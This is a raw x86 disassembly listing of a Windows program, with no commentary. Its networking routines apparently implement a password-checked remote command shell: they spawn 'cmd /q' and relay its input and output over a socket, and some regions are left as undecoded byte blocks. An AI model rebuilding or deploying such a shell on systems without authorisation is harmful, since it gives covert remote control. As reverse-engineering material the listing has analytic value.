		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA68
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E5B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4351CC
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B3BA
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_410F3C
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 228F5B2h, 69C44D8Bh,	234C9h,	89C63B00h, 43E92481h, 39137400h
		dd 850FD075h, 0FFFFFF63h, 29E8326Ah, 900228F5h,	0E890EDEBh
		dd 228FF90h, 51906850h,	99E80043h, 5900004Eh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F17:				; CODE XREF: ___:00410E0Ej
					; ___:00410E42j ...
		mov	edi, [ebp+8]


loc_410F1A:				; CODE XREF: ___:00410F15j
		push	edi
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-40h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 2700000h
		nop
		pop	edi
		pop	esi


loc_410F3C:				; DATA XREF: ___:00410ECFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CBA54
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4110F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB9D4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410FCC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA58
		jmp	short loc_410FDA
; ---------------------------------------------------------------------------


loc_410FCC:				; CODE XREF: ___:00410FBBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB98C


loc_410FDA:				; CODE XREF: ___:00410FCAj
		cmp	eax, edi
		jz	loc_4110F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_435254
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B3BA
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E91C[ebx]
		mov	dword_43E914[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E920[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_411123
		push	edi
		push	edi
		call	near ptr 26A048Eh
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_4110DF


loc_41108C:				; CODE XREF: ___:00411099j
		cmp	[ebp-20h], edi
		jnz	short loc_41109B
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_41108C
; ---------------------------------------------------------------------------


loc_41109B:				; CODE XREF: ___:0041108Fj
		mov	ebx, 1000h


loc_4110A0:				; CODE XREF: ___:004110DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		cmp	eax, edi
		jle	short loc_4110F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4110A0
		jmp	short loc_4110F2
; ---------------------------------------------------------------------------


loc_4110DF:				; CODE XREF: ___:0041108Aj
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_435214
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_4110F2:				; CODE XREF: ___:00410F80j
					; ___:00410FDCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	near ptr 2700000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_411123:				; DATA XREF: ___:0041106Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41115A:				; CODE XREF: ___:0041119Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E920[esi]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4111A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E91C[esi]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41115A


loc_4111A1:				; CODE XREF: ___:00411184j
		push	dword_43E920[esi]
		call	dword_4CBA6C
		push	dword ptr [ebp-14h]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 42h, 0EEh
; ---------------------------------------------------------------------------
		add	bl, cs:[edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E91C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_411244
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2700000h


loc_411244:				; CODE XREF: ___:0041122Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB928
		test	eax, eax
		jz	short loc_4112BD
		call	dword_4CB968
		push	eax
		push	offset unk_43532C
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 2700000h


loc_4112BD:				; CODE XREF: ___:00411298j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, edi
		jnz	short loc_4112E7
		push	dword ptr [ebp-18h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C266
		jmp	short loc_4112F5
; ---------------------------------------------------------------------------


loc_4112E7:				; CODE XREF: ___:004112CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C890


loc_4112F5:				; CODE XREF: ___:004112E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43DB88
		push	dword ptr [esi]
		call	dword_4CBA24
		cmp	dword_4CE72C, edi
		jnz	short loc_411357
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_41141F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411357
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CBA24
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	near ptr 2700000h
		nop


loc_411357:				; CODE XREF: ___:0041130Cj
					; ___:0041132Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4352F0
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_4116D6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41139E
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_4352C4
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 2700000h


loc_41139E:				; CODE XREF: ___:00411379j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_435298
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 2700000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113C5	proc near		; CODE XREF: ___:0041125Ap
					; ___:00411267p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jnz	short loc_411415
		mov	esi, [ebp+arg_4]


loc_4113E3:				; CODE XREF: sub_4113C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41140A
		test	al, al
		jz	short loc_411419
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jz	short loc_4113E3
		jmp	short loc_411415
; ---------------------------------------------------------------------------


loc_41140A:				; CODE XREF: sub_4113C5+27j
		push	offset unk_435358
		call	sub_415DAC
		pop	ecx


loc_411415:				; CODE XREF: sub_4113C5+19j
					; sub_4113C5+43j
		xor	eax, eax
		jmp	short loc_41141C
; ---------------------------------------------------------------------------


loc_411419:				; CODE XREF: sub_4113C5+2Bj
		push	1
		pop	eax


loc_41141C:				; CODE XREF: sub_4113C5+52j
		pop	esi
		leave
		retn
sub_4113C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41141F	proc near		; CODE XREF: ___:00411323p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41144A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_435384
		call	sub_415DAC
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41144A:				; CODE XREF: sub_41141F+11j
		push	1
		pop	eax
		retn
sub_41141F	endp

; ---------------------------------------------------------------------------
word_41144E	dw 8B55h		; DATA XREF: sub_401ACD+237Ao
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB944h, 0C63BF633h, 68501D74h
		dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh
		dd 59E89057h, 57022EEBh, 4116CC68h, 80E89000h, 850238F7h
		dd 902975C0h, 28F9DBE8h, 0B0685002h, 0E8004354h, 48E4h
		dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h
		dd 22EEB20h, 8D106A53h,	5056E045h, 0AA83E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h
		dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h
		dd 15FF5350h, 4CBA00h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB9FCh, 850FC085h, 103h, 43547468h,	0F045C700h, 0Ch
		dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h,	45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh
		dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h
		dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h
		dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh
		dd 5056FFFFh, 4111C068h, 0F0458D00h, 0E8905056h, 228EE72h
		dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h
		dd 850FC875h, 0FFFFFF37h, 0E9E8326Ah, 900228EDh, 51E8EDEBh
		dd 900228F8h, 53F46850h, 59E80043h, 59000047h, 8B03EB59h
		dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh
		dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h
		dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh
		dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h,	57590000h
		dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h
		dd 13E8B475h, 59FFFFA0h, 35E89056h, 5B022EE9h, 4439C033h
		dd 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116D6	proc near		; CODE XREF: ___:0041136Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411827
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E91C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_427084
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119F9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411741
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41177B
; ---------------------------------------------------------------------------


loc_411741:				; CODE XREF: sub_4116D6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411AAB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411782
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26B0E72h


loc_41177B:				; CODE XREF: sub_4116D6+69j
		xor	eax, eax
		jmp	loc_411822
; ---------------------------------------------------------------------------


loc_411782:				; CODE XREF: sub_4116D6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27B0000h
		sub	eax, ebx
		jz	short loc_4117DC
		dec	eax
		jz	short loc_4117D6
		dec	eax
		jz	short loc_4117C2
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_435520
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117C2:				; CODE XREF: sub_4116D6+D5j
		mov	edi, dword_4270B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117D6:				; CODE XREF: sub_4116D6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------


loc_4117DC:				; CODE XREF: sub_4116D6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4117E0:				; CODE XREF: sub_4116D6+104j
		call	near ptr 26B0E72h
		nop
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 274026Bh


loc_4117F1:				; CODE XREF: sub_4116D6+EAj
					; sub_4116D6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427070
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CBA6C
		push	esi
		call	sub_41BA91
		pop	ecx
		push	1
		pop	eax


loc_411822:				; CODE XREF: sub_4116D6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4116D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411827	proc near		; CODE XREF: sub_4116D6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411911
		mov	ebx, dword_427108
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427070
		test	eax, eax
		jnz	short loc_41188A
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_435604
		jmp	short loc_4118AA
; ---------------------------------------------------------------------------


loc_41188A:				; CODE XREF: sub_411827+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4118B2
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_4355C4


loc_4118AA:				; CODE XREF: sub_411827+61j
		call	sub_415DAC
		pop	ecx
		jmp	short loc_4118E0
; ---------------------------------------------------------------------------


loc_4118B2:				; CODE XREF: sub_411827+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411920
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411915
		push	offset unk_43559C
		call	sub_415D38


loc_4118E0:				; CODE XREF: sub_411827+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118EC
		push	[ebp+var_4]
		call	edi


loc_4118EC:				; CODE XREF: sub_411827+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118F7
		push	[ebp+var_8]
		call	edi


loc_4118F7:				; CODE XREF: sub_411827+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411900
		push	eax
		call	edi


loc_411900:				; CODE XREF: sub_411827+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41190A
		push	eax
		call	edi


loc_41190A:				; CODE XREF: sub_411827+DEj
		push	esi
		call	sub_41BA91
		pop	ecx


loc_411911:				; CODE XREF: sub_411827+1Dj
		xor	eax, eax
		jmp	short loc_41191B
; ---------------------------------------------------------------------------


loc_411915:				; CODE XREF: sub_411827+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41191B:				; CODE XREF: sub_411827+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411920	proc near		; CODE XREF: sub_411827+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BF70
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427104
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 274037Fh
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2680369h
		test	eax, eax
		jz	short loc_4119DC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E918[eax], ecx
		nop
		call	near ptr 2680000h
		jmp	short loc_4119F2
; ---------------------------------------------------------------------------


loc_4119DC:				; CODE XREF: sub_411920+9Aj
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset unk_435644
		call	sub_415DAC
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4119F2:				; CODE XREF: sub_411920+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119F9	proc near		; DATA XREF: sub_4116D6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270EC
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411A22:				; CODE XREF: sub_4119F9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A5D


loc_411A33:				; CODE XREF: sub_4119F9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A4D
		cmp	dl, 0Dh
		jz	short loc_411A4D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411A4D:				; CODE XREF: sub_4119F9+44j
					; sub_4119F9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411A33


loc_411A5D:				; CODE XREF: sub_4119F9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411A8A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411A22
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_4119F9+2Dj
					; sub_4119F9+79j
		mov	esi, dword_427094
		call	esi
		cmp	eax, 6Dh
		jz	short loc_411AA6
		call	esi
		push	eax
		push	offset dword_435684
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_411AA6:				; CODE XREF: sub_4119F9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAB	proc near		; DATA XREF: sub_4116D6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_411AC4:				; CODE XREF: sub_411AAB+39j
					; sub_411AAB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB9EC
		test	eax, eax
		jle	loc_411BC9
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AE6
		dec	[ebp+var_10]
		jmp	short loc_411AC4
; ---------------------------------------------------------------------------


loc_411AE6:				; CODE XREF: sub_411AAB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411BA9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B56
		cmp	al, 7Fh
		jz	short loc_411B56
		cmp	al, 3
		jnz	short loc_411B11
		push	ebx
		push	ebx
		call	near ptr 27B0107h
		nop
		jmp	short loc_411B7D
; ---------------------------------------------------------------------------


loc_411B11:				; CODE XREF: sub_411AAB+5Aj
		cmp	al, 15h
		jnz	short loc_411B33
		xor	esi, esi
